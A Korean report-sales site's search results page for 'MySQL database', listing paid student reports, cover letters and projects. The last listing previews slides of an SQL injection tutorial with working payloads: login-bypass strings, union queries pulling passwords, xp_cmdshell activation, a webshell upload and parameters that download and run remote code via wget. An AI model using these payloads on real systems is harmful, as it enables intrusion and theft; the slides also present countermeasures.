"데이터베이스 mysql"의 검색결과 입니다.

기간
- 전체
- 3개월
- 6개월
- 1년
- 2년
- 3년
- 5년
직접입력

적용
연관순
- 연관순
- 최신순
영역
- 전체
- 제목
- 본문
- 태그
페이지 수
- 전체페이지
- 1 페이지 ~ 5 페이지
- 6 페이지 ~ 10 페이지
- 직접입력 페이지 ~ 페이지 적용
확장자
- 전체
- 한글
- PDF
- MS워드
- MS엑셀
- MS파워포인트
- 압축파일
- 기타
할인자료 보기

연관검색어

mysql로 배우는 jsp쇼핑몰 php mysql spring 게시판 mysql 워크벤치 MYSQL

바로가기

방송통신대 - 2025 방송통신대 리포트 및 과제물 업데이트, 중간고사/기말고사자료

판매자 표지는 다운로드시 포함되지 않습니다.

"데이터베이스 mysql" 검색결과 401-420 / 742건

자바 Swing 으로 만든 영화예매 프로그램

영화예매 프로그램입니다.자바Swing으로 만든 프로그램입니다.DB연동을 해야만 프로그램이 작동합니다.사용한 DB는 MySql입니다.경고!프로그램상에 버그가 있을 수 있 ... 은 수준입니다.DB도 만들어져있으나 데이터는 직접 넣으셔야 정상작동합니다.팀원들은 모르쇠하고 혼자 팀프로젝트를 실시해야할 때! 단돈 10000원으로 팀원들과 더치페이로 구매하시고PPT만 작성하시길 바랍니다. 좋은 성적 받길 빌어요~!

Non-Ai HUMAN
| 리포트 | 10,000원 | 등록일 2016.12.22 | 수정일 2018.06.12

다운로드 장바구니
메조미디어 합격 자소서

정신을 이끌어 내고 개발 파트에서는 iBatis 연동을 통한 데이터베이스 구축 및 HTML5, Javascript 기반의 간트차트를 활용한 관리페이지 개발에 집중하였습니다. 관리 ... 라는 플랫폼을 이해했습니다. MySQL 연동 과정에서 안드로이드에서 MySQL DB에 직접 접속하는 것을 막아 놓았기 때문에 안드로이드 - PHP - MySQL의 연동 과정을 거처 ... 이해가 부족했기 때문에 웹상에 있는 Activity, Fragment 등을 직접 구현해보았습니다. 그리고 웹 서버 호스팅을 통해 애플리케이션과 MySQL을 연동하면서 안드로이드

Non-Ai HUMAN
| 자기소개서 | 3페이지 | 3,000원 | 등록일 2016.05.29 | 수정일 2018.11.15

다운로드 장바구니
2020학년도 고려대 컴퓨터공학과 편입학 1차 합격자 자기소개서

본부 사이버 방호센터에 배치되어 데이터베이스 관리 직무를 맡은 저는 직무를 수행하며 데이터베이스에 관한 지식을 학습하고, SQL Query/MySQL과 같은 데이터베이스 관리 도구 ... 하는 인공지능 개발에 관심을 두게 되었습니다. 인공지능을 개발하고자 한국기술교육대 컴퓨터공학부에 진학하여, 인공지능 개발자가 되기 위해 필요한 수학, 통계, 데이터베이스, 프로그래밍 ... 를 다루어 보며 미래 인공지능 개발을 위한 데이터베이스 기초지식을 쌓았습니다. 방화벽과 웹 방화벽, IPX와 같은 보안 도구들과 전문 IT 장비를 다루며 컴퓨터 분야의 지식을 확장

Non-Ai HUMAN
| 자기소개서 | 5페이지 | 6,000원 | 등록일 2020.01.31 | 수정일 2020.12.17

다운로드 장바구니
웹페이지 개발 환경 구축부터 테스트까지(이클립스, jdk, mysql, 톰캣) 설치,연동,테스트 윈도우10기준

* 본 자료는 썸네일을 참고 하시기 바랍니다.

Non-Ai HUMAN
| 리포트 | 75페이지 | 2,000원 | 등록일 2017.01.16

다운로드 장바구니
경영정보시스템 키워드 정리 및 예시소개

후 관련되는 응용 프로그램들을 변경하지 않고도 새로운 데이터 항목을 데이터베이스에 추가할 수 있다. ?사례 스플렁크 DB 커넥트는 스플렁크 엔터프라이즈(Splunk ... Enterprise)와 전통적인 관계형 데이터베이스를 안정적이고, 확장 가능한 방식으로 실시간 통합한다. 스플렁크 DB 커넥트를 통해 관계형 데이터베이스의 정형 데이터가 스플렁크 엔터프라이즈 ... 메타는 “스플렁크 DB 커넥트는 조직들이 기계 데이터의 강력한 운영 통찰력과 관계형 데이터베이스의 가치 있는 비즈니스 상황들을 손쉽게 결합할 수 있도록 한다”며, “통합에서 가장

Non-Ai HUMAN
| 리포트 | 9페이지 | 2,000원 | 등록일 2015.03.22 | 수정일 2016.05.14

다운로드 장바구니
한국지역정보개발원 합격 자기소개서

를 지원하는 데이터베이스 관리 툴의 신규 도구 개발을 담당하며 실무 역량을 키울 수 있었습니다. 이를 통해 다양한 데이터베이스의 지식과 정보보호의 기초를 다질 수 있었으며 리눅스 ... 를 구축하여 게시판을 만드는 프로젝트를 하였으며 실무 역량을 키우기 위해 IT 보안 전문기업에 입사 하여 Oracle, MySQL, MariaDB, MSSQL 등 7종 DBMS

Non-Ai HUMAN
| 자기소개서 | 2페이지 | 3,000원 | 등록일 2019.10.13 | 수정일 2020.01.04

다운로드 장바구니
SQL구문조사

구조 출력* 데이터베이스 생성과 삭제Create database DB명 // 데이터베이스 생성Create table ( 테이블 구조 ) // 테이블 생성또는 C:\mysql\bin ... >mysqladmin -u root -p create DB명Drop database 데이터베이스 명 // 데이터베이스 삭제Drop table 테이블명 // 테이블 삭제▶ MySQL ... 로 데이터베이스를 생성할 때 사용하는 함수int mysql_creage_db (string dagabase name [, int link_identifier])* mysql_db

Non-Ai HUMAN
| 리포트 | 9페이지 | 1,000원 | 등록일 2006.09.12

다운로드 장바구니
웹어플리케이션의 이해

, DB는 MySQL , 웹서버는 Tomcat으로 구성한다.(3) OS는 Window, DB는 Oracle , 웹서버는 Tomcat으로 구성한다.(4) OS는 Unix, DB ... 형태는?(1) OS는 Window, DB는 MSSQL , 웹서버는 IIS로 구성한다.(규모가 클 때는 Unix, DB 오라클, 서버 WAS) _ 중소규모!(2) OS는 Linux ... )Window(닷넷)IISC++NETVB NETJavaDelphi거의 모든 언어 지원모두가능좋은 조합(MSSQL)LinuxApachePHP모두가능좋은 조합(MySQL)UnixWAS

Non-Ai HUMAN
| 시험자료 | 3페이지 | 1,500원 | 등록일 2017.11.20

다운로드 장바구니
포토갤러리 과제

한다.String DB_URL = "jdbc:mysql://localhost:3306/mydb"String DB_USER = "admin"String DB_PASSWORD = "1234 ... etCharacterEncoding("euc-kr");Class.forName("com.mysql.jdbc.Driver");//2. JDBC 드라이버를 로드하기 위해 클래스 패키지를 지정 ... = 0;try {con = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);//4. Statement 객체를 생성한다.//s

Non-Ai HUMAN
| 리포트 | 1페이지 | 2,500원 | 등록일 2016.03.26 | 수정일 2016.06.19

다운로드 장바구니
mysql 데이터 생성, 테이블 생성, 쿼리

었다면 이번 과제는 모르는 상태로 만들었던 액세스에서의 그 데이터 베이스 를 Mysql의 질의언어를 사용해서 구현해 보는 것이다. 우리는 기존 실습시간에 액세스 내에서도 Mysql ... 않았음에도 불구하고 생각보다 액세스와 같은 테이블이 간단하게 생성되었다. 즉, MYSQL을 통해 생성한 데이터베이스와, 액세스의 테이블은 똑같이 생성될 수 있었다.무엇보다 SQL ... 만, 액세스 환경에서 데이터 베이스를 작성하는 것과는 약간의 차이가 있었다. 액세스는 잘 짜여있는 프로그램으로 있는 그대로 내가 활용하고 사용자 편리하게 되어있지만, MYSQL에서 작성

Non-Ai HUMAN
| 리포트 | 10페이지 | 1,500원 | 등록일 2009.03.20

다운로드 장바구니
자바프로그래밍(JAVA PROGramming) 명함관리 프로젝트 (사진 있음) 대학교 -과제제출용-

명 함 관 리-삽입, 삭제, 수정, 보기, 종료 기능을 수행할 수 있습니다.-자바코드를 실행시키면 데이터베이스에서도 위의 기능이 가능합니다. (DB연동)package 내꺼 ... ));String url = "jdbc:mysql://localhost/card_db"String user ="root"String password ="0083"Connection con ... = DriverManager.getConnection(url,user,password);//사용자 아이디와 패스워드를 사용하여 데이터베이스에 연결.PreparedStatement

Non-Ai HUMAN
| 리포트 | 10페이지 | 8,000원 | 등록일 2014.05.29

다운로드 장바구니
JSP 환경에서 웹취약점알아보기

. 간단하게 Java/JSP로 운영되고 있는 사이트2. 데이터베이스는 MySQL을 사용3. 개발자라면 추측할 수 있는 아이바티스(iBatis), 스프링프레임워크 의 사용4. 파라미터 ... 가 있습니다.이 오류페이지에는 디렉토리정보, 오류메시지, 데이터베이스정보, 서버 운영환경 정보를 노출 시킬 수 있으므로 위험을 초래하게 됩니다.모 사이트의 에러메시지파라미터 조작 ... 의 값이 쿼리에 직접적으로 미치는 현상5. 소스파일의 디렉토리(패키지) 경로단순히 URL의 파라미터 조작만으로 서버의 데이터베이스 오류를 발생시키고 있습니다.대처방법1. 서버의 설정

Non-Ai HUMAN
| 리포트 | 12페이지 | 1,000원 | 등록일 2013.11.26

다운로드 장바구니
성남도시개발공사 합격 자기소개서

여 Oracle, MySQL, MariaDB, MSSQL 등 7종 DBMS를 지원하는 데이터베이스 관리 툴의 신규 도구 개발을 담당하며 실무 역량을 키울 수 있었습니다. 이를 통해 다양 ... 이 필요하다고 생각하여 데이터베이스 전문 업체에서 2년 1개월동안 업무를 하며 자바 기반의 데이터베이스 관리 툴을 개발하며 개발 역량을 쌓을 수 있었으며 홈페이지를 관리하며 제품 ... 와 관련된 본인의 경험·경력을 자세히 작성해 주십시오.군 장교 전역 후 2017년 4월부터 2019년 4월까지 2년 1개월 동안 데이터베이스 보안 전문업체에서 직장 내에서 유저인프라팀

Non-Ai HUMAN
| 자기소개서 | 3페이지 | 3,000원 | 등록일 2019.10.13 | 수정일 2023.01.13

다운로드 장바구니
IT개발PM이력서

- OOOO 정보시스템 구축(PM/PL)- OOOO 정보시스템 구축(개발/지도데이터DB구축)- 3차원 OOOO 영상물 제작 구축(3D모델링 구축)2001.07 ~ 2004.03(2년 ... 정보시스템 개발(개발)- OOOO 전산화시스템 개발(개발)- OOOO 환경정보화DB 구축(DB구축)퇴사사유개인사정[ IT경력기술서 - 프로젝트]기간IT경력기술서2015.06 ... 시스속회사(주)OOOO의뢰회사OOOO담당업무PM개발인원5명개발환경ㆍH/W-IBMㆍ언어-Python, JavaㆍO/S-Ubuntu, CentOSㆍD/B-MySQL2012.05

Non-Ai HUMAN
| 자기소개서 | 11페이지 | 5,000원 | 등록일 2020.11.03 | 수정일 2024.06.05

다운로드 장바구니
졸업작품 보고서(도서관 컴퓨터 사용관리 프로그램)

차1. 서론1.1 동기 및 배경1.2 목표1.3 보고서 구성2. 본론2.1 전체 구성2.2 MYSQL2.2-1 MYSQL 5.0 사용 환경 및 서버 설정2.2-2 DB 설계2.2 ... -3 MS Access로부터 학생 정보 import2.2-4 User Table2.2-5 MYSQL C API2.2-6 원격 접속2.3 RFID 리더/태그2.3-1 RFID 리더 ... 흐름도 및 프레임 구조2.4-4 클래스, DLL 구성2.4-5 세부 기능2.4-7 기능별 코딩가. MYSQL 접속 및 쿼리문 질의나. 시리얼 통신다. 키보드 후킹라. 서버

Non-Ai HUMAN
| 리포트 | 53페이지 | 7,000원 | 등록일 2017.03.28 | 수정일 2017.03.31

다운로드 장바구니
실제 선정된 (예비)초기창업패키지 정부지원사업 창업 발표 PPT자료

을 크롤링 및 연동되어 있는 Mysql DB 에 저장 , ② 국내 또는 해외 사이트에 DB 에 저장된 상품을 리스팅 및 실시간으로 크롤링 및 DB 와 변경정보 확인 후 , 변경

Non-Ai HUMAN
| 리포트 | 25페이지 | 7,500원 | 등록일 2020.10.31 | 수정일 2022.02.06

다운로드 장바구니
경영정보시스템

경영정보시스템 레포트 보고서1. 데이터 베이스의 목적은 관리 대상에 대한 과거를 보유하는 것이다.데이터 베이스를 정의하고 데이터베이스는 무엇을 포함하고 있는지 파악하고, 각자의 현업 비즈니스 프로세스 사례를 하나씩 정하여, 데이터 베이스가 어떤 영향을 미치는지를 서술하시오.1) 데이터베이스의 정의데이터베이스(Database)는 여러 사람들이 데이터를 공유하고 사용하도록 할 목적으로 통합관리되는 정보의 집합이다. 사용자는 데이터베이스 시스템(DBMS)를 통하여 자료를 등록/관리함으로써 그 내용을 효율적으로 검색과 갱신을 할 수 있다. 따라서 데이터베이스의 특징은 4가지 특성(실시간 접근성, 지속적인 변화, 동시공유, 내용에 대한 참조)을 갖고 있다고 할 수 있다.일반적으로 보급된 데이터베이스의 형태는 관계형 데이터베이스로서 데이터모델중에서 가장 개념이 간단한 모델이고 IBM연구소의 코드(E.E.Codd)가 1970년에 제안한 모델이다. 본 모델은 데이터를 정규화하여 완결성(Integrity)를 유지하면서 다양한 방법으로 접근할 수 있는 테이블형의 데이터베이스이다. 특히 이론적 관계수학에 근거한 모델로서 현실세계를 객체관계 그림으로 표현하여 개체는 사각형으로 표현하고 개체간의 관계는 선으로 표현하는 방법이다. 최근에 Big Data의 등장과 함께 주목받고 있는 분산 데이타베이스는 네트웍 상의 여러 다른 지점에 분산되어 있거나 중복되어 있는 데이터베이스를 말하며, 객체지향 데이터베이스는 객체 클래스와 서브 클래스로 정의된 데이터가 서로 일치하는 데이터베이스이므로 비정형화된 데이터를 관리/조회하기에 유용한 데이터베이스 형태이다.2) 데이터베이스가 무엇을 포함하고 있는가?- 개체 : 현실세계에 존재하며 다른 개체들과 구별할 수 있는 것 -> 테이블로 구체화됨- 속성 : 개체를 기술해주는 특성 -> 테이블의 속성으로 구체화 됨- 관계 : 한 개체와 다른 개체와의 연관관계 표현(일대일, 일대다, 다대다 관계) -> 참조키 속성으로 구체화 됨- DBMS : 솔루션을 제공하는 회사별로 데이터 모델, 저장 구조, 인터페이스, 질의어, 도구, 제공되는 서비스 등이 다름- SQL : Access, DB2, Oracle, Sybase, Informix 등의 데이터베이스를 대화형식으로 직접 조회하거나 갱신할 수 있도록 만들어진 표준언어3) 현업비즈니스 프로세스 사례 및 영향일반적으로 기업체에서 데이터베이스를 활용하는 용도로는 판매정보, 상품정보, 재고정보, 고객정보, 제품개발정보, 제품생산정보, 품질정보, 고객Claim정보 등을 관리하는데 이용된다. 사용자는 데이터베이스(Oracle, MS-SQL, MySQL 등) 툴에서 제공하는 관리도구를 이용하여 데이터의 읽고/쓰기를 제한하거나 데이터의 활용도를 분석하는 관리자의 업무를 수행하거나, Query문을 이용하여 보고서 작성에 필요한 정보를 수집/분석할 수 있다.기업활동의 영속성, 성장가능성을 확보하기 위해서는 제품에 Lifecycle(탄생-폐기)을 관리하는 것이 매우 중요하다. 따라서 제품의 수명주기에 맞춰 분업화된 각 부문의 담당자간 업무 범위간 협업, 정보의 공유를 효과적으로 하여 불필요한 낭비요인을 제거하여 연구개발에서 제조로 이어지는 정보흐름의 생산성과 정확성을 올려야 한다. 따라서 이를 위해서는 관련정보의 데이터베이스화가 필수적인 요소가 된다. 이를 위한 시스템을 PLM(Product Lifecycle Management) System이라 한다. 이를 통하여 제조기업에서는 제품의 데이터를 공유하고, 공통의 공정을 적용하여 개념설계부터 제품폐기에 이르는 전체주기에 걸쳐서 제품개발을 위한 기업의 지식을 생성/관리/공유할 수 있다. 특히 제품개발데이터를 체계적으로 관리하고 활용할 수 있다.PLM이 제공하는 유용한 가치는 다음과 같다.- PDM(Product Data Management)- 협업(Collaboration)- 정보의 가시화(Visualization)

Non-Ai HUMAN
| 리포트 | 3페이지 | 5,000원 | 등록일 2013.09.09

다운로드 장바구니
SGI서울보증공사 합격 자기소개서

만의 차별화된 역량은 무엇이며, 이러한 역량을 갖추기 위해 노력한 과정에 대하여 기술하여 주시기 바랍니다.저는 데이터베이스 보안 업체에서 Oracle, MySQL 등 7종 데이터베이스

Non-Ai HUMAN
| 자기소개서 | 3페이지 | 3,000원 | 등록일 2019.10.28 | 수정일 2020.01.04

다운로드 장바구니
데이타베이스 , sql관련

MySQL-Front에서도 34개의 Data Enroll 테이블에 정상적으로등록된 것을 확인할 수 있다.2. 아래의 SQL문을 작성 하시오.? 데이터베이스 과목을 수강한 학생 수 ... 의 교수님이 개설한 과목을 신청한 학생들의 평균 학점을구하시오.? 데이터베이스 과목을 수강한 학생 수와 학생의 이름을 모두 나열 하시오.☆ union문을 사용하여 count의 결과 값 ... 1-1. SQL 쿼리문을 사용해여 Enroll table에 Data 삽입하기다음과 같이 34개의 데이터를 삽입하였습니다1-2 MySQL-Front상에서 입력된 데이터 화면 출력

Non-Ai HUMAN
| 리포트 | 6페이지 | 2,000원 | 등록일 2007.11.22

다운로드 장바구니
sql injection 분석 및 보안대책

..PAGE:1SQL Injection..PAGE:2SQL Injection- 공격 방식- 오류 페이지 설정Simulation- SQL InjectionSeveral Attack- Webshell upload- 파라미터 변조- URL JumpingEtc..- tools- 참고 문헌..PAGE:3SQL Injection..PAGE:4SQL Injection대부분 웹 어플리케이션은 DB에 접근하기 위해 SQL을 이용SQL Query를 처리하는 과정에서 비정상적인 DB 접근을 시도하거나 Query를 재구성 하여 원하는 정보를 열람하는 해킹 기법사용자 입력에 대한 검증을 하지 않아 생기는 발생ID / Password 입력SQL Query 생성Database에 Query 전송Database에서 Query 실행반환되는 Return 값에 따라 인증 여부 판단SQL Query 생성회원 정보 DB..PAGE:5①②③④악의적인 SQL 구문 전송SQL 구문 실행(비정상적인 Query 전송)SQL 결과 전송로그인 성공 및 개인정보 갈취SQL Injection..PAGE:6인증 우회로그인 ( ID : ' or '1' = '1' -- Password : ******** )권한 상승공격자가 DB의 시스템 권한을 획득에러 메시지를 통하여 정보 얻기공격자에게 유용한 정보 제공, 쉽게 DB열람 및 시스템명령어 수행 가능데이터베이스에 저장된 데이터의 열람 / 조작Error-Based Injection, Blind SQL InjectionSQL Injection 공격 방식..PAGE:7오류 메시지가 제대로 표시가 안됌!!SQL Injection 오류 페이지 설정..PAGE:8HTTP 오류 메시지 표시 체크 해제오류 메시지가 제대로 표시!!SQL Injection 오류 페이지 설정..PAGE:9해결 방안1) iis 7.0 이전 버전iis > 해당사이트 > 디버깅 속성 :브라우저에 오류 전송 항목을 False -> True로 변경2) iis 7.0iis > 해당사이트 > ASP > 디버깅 속성 :브m member where bId =‘admin’’ and bPass =‘sec123’TRUE주석 처리(AND)TRUESimulation 인증 우회주석 이용..PAGE:25Select * from member where bId =‘ ‘ and bPass =‘ ’or’1’=‘1’TRUEFALSE(AND)FALSETRUE(OR)TRUETRUESimulation 인증 우회OR 연산자 이용..PAGE:26or 1=1 의 다른 표현 :or 2>1or 2 between 1 and 3or ‘test’ > ‘t’or ‘whatever’ in (whatever‘)or ‘anything’ like ‘any%’or ‘ab’ = ‘a’ + ‘b’Simulation 인증 우회..PAGE:27USE materIF OBJECT_ID('xp_cmdshell') IS NULLEXEC SP_ADDEXTENDEDPROC 'xp_cmdshell', 'xplog70.dll'GOEXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1RECONFIGUREGOEXEC SP_CONFIGURE 'XP_CMDSHELL', 1RECONFIGUREGOxp_cmdshell시스템 명령어(OS Call) 실행 할 수 있는 프로시저SQL Server 2005 이후 xp_cmdshell를 비활성화로 설정되어 있어 활성화 설정을 해주어야 함Simulation 시스템 명령어 실행활성화 성공..PAGE:28USE masterGOEXEC sp_dropextendedproc 'xp_cmdshell'GO-- 설정한 기능에 대해 업데이트 한다.RECONFIGUREGO관리자가 cmdshell을 수시로 검사하고 비활성화 시키면시스템 공격을 방어 할수 있음Simulation 시스템 명령어 실행비활성화 성공..PAGE:29admin';exec master..xp_cmdshell 'mkdir D:\upload\aaa’--지정된 위치에 폴더 생성 후 로그인 성공Simulation 시스템 명령어를 실행(폴더 생성)..PAtion 정보 조회 필드명 조회..PAGE:39‘Group by idx, bId, bPass, bName, bAddr1, bAddr2, bPost, bMail, bPhone, bDate --모든 필드명 입력 시Simulation 정보 조회 필드명 조회..PAGE:40test1% group by idx, tId, tName --Simulation 정보 조회 필드명 조회..PAGE:41test1% group by idx, tId, tName, tMail, tTitle, tContent, tFilename --Simulation 정보 조회 필드명 조회..PAGE:42Test1% group by idx, tId, tName, tMail, tTitle, tContent, tFilename, tRead, tDate --모든 필드명 입력 시Simulation 정보 조회 필드명 조회..PAGE:43데이터 형식 사용Idx 가 숫자형이라고 유추Simulation 정보 조회 필드 타입 조회..PAGE:44member 테이블필드명필드 타입idxintbIdvarcharbPassvarcharbNamevarcharbPostvarcharbAddr1varcharbAddr2varcharbPhonevarcharbMailvarcharbDatedatetimebbs 테이블필드명필드 타입IdxinttIdvarchartNamevarchartMailvarchartTitlevarchartContentvarchartfileNamevarchartfilepathvarchartReadinttDatedatetimeSimulation 정보 조회 필드명 조회..PAGE:45Union을 할 때는 필드 타입이 일치Varchar 형의 bMail과 숫자형의 tRead를 union하려고 하기 때문에 에러가 생김Union을 할 때는 필드 타입이 일치하기 위해 bMail 대신 숫자 9를 사용Simulation 정보 조회 계정획득..PAGE:46제목에는 우편번호가 표시, 작성자는 패스워드가 표시제목에 아이디를 표시하도록 하면 아이디om member limit 0,1(1,11~~11,111)## 입력' union select 1, bPass,3,4,5,6,7,8,9,10 from member limit 0,1(1,1~11,111)## 입력Simulation 정보 조회 MYSQL..PAGE:53게시판 검색 시 replace() 함수를 이용해서 injection 방어Simulation 대응 방안..PAGE:54로그인 시 replace() 함수를 이용해서 injection 방어Simulation 대응 방안..PAGE:55로그인 시 입력 수를 제한하여 injection 방어Simulation 대응 방안..PAGE:56500에러 페이지를 404페이지로 뜨게 하여 having을 실행해도 테이블 명/쿼리명 정보를 알지 못하게 함iis > 오류 페이지Simulation 대응 방안..PAGE:57동적 SQL사용 지양DB와의 연동 부분에서는 동적 SQL을 사용하지 말고 저장 프로시저를 사용안전한 웹 사이트 설계와 구현개발단계에서부터 반드시 모든 입력 값에 대해 적절한 검증절차를 설계하고 구현웹 서버 보안 강화공격자가 오류 메시지를 통해 유용한 정보를 수집할 수 없도록 수정웹 방화벽 활용IIS 환경이라면 URLScan이나 공개웹 방화벽 WebKnight를 활용하여 보안수준을 향상웹 보안 취약점 점검설계와 구현에 있어서 안전한 개발 절차에 따라 개발되었더라도 존재할 수 있는 보안문제들을 점검하고 진단 하는 과정이 필요Simulation 대응 방안..PAGE:58Seveal Attacks..PAGE:59Several Attack Webshell파일 첨부를 할 수 있는 게시판에 악의적인 스크립트가 포함된 소스 파일( .asp .jsp .php 등) 을 첨부한 후 서버 상에서 스크립트를 실행시켜 쉘 획득, 서버 변조 등 웹 서버를 장악할 수 있음.1. Webshell script 업로드2. 시스템 권한 획득3. webshell을 이용해서 공격..PAGE:60Dim oScriptDim oScriptNetDim oFi.jsp, .php 등 ) 거부 등록하여 해당 확장자가 실행되지 않도록 함iis > 요청 필터링Several Attack Webshell 대응 방안..PAGE:66클릭.asp 파일 실행 안됌!Several Attack Webshell 대응 방안..PAGE:67웹쉘 업로드를 실행하지 못하게 하기 위해서스크립트 실행 권한을 제거iis > 처리기 맵핑Several Attack Webshell 대응 방안..PAGE:68매게 변수로서 웹 페이지에서 어떤 요청을 할 때 요청에 대한 값을 가지고 잇는 변수종류로는 사용자 입력 폼, Query string(데이터 전달 값), HTTP 헤더 등취약 함수언어취약 함수PHPrequire(), include(), eval(), preg_replace(),exec(), passthru(), system(), fopen(), popen() 등Perlopen(), sysopen(), glob(), system(), eval() 등JavaSystem.* (특히 System.Runtime)C/C++system(), exec**()strcpy(),strcat(), sprintf(), vsprintf()… 등Pythonexec(), eval(), execfile(), compile(), input() 등Several Attack 파라미터 변조..PAGE:69PHP의 취약한 함수 exec( )악용사례application.php?name=charlie;wget 1.1.1.1/hacking.c(2) PERL의 취약한 함수 open( )open( ) 함수는 두번째 인수가 | (파이프)로 끝날 경우 명령어로 인식악용사례파라미터=| cd /tmp; wget www.shady.go.ro/aw.tgz; tar zxf aw.tgz; rm -f aw.tgz; cd .aw; ./inetd |(3) PHP의 취약한 함수 fopen( )fopen( ) 로컬경로의 파일이나 URL 경로의 파일을 읽기 모드나 쓰기 모드로 열어준다.악용사례파라미터=http://www.hac수정)

Non-Ai HUMAN
| 리포트 | 85페이지 | 5,000원 | 등록일 2015.11.26

다운로드 장바구니

이전10개 16 17 18 19 202122 23 24 25 다음10개

파워링크

신청하기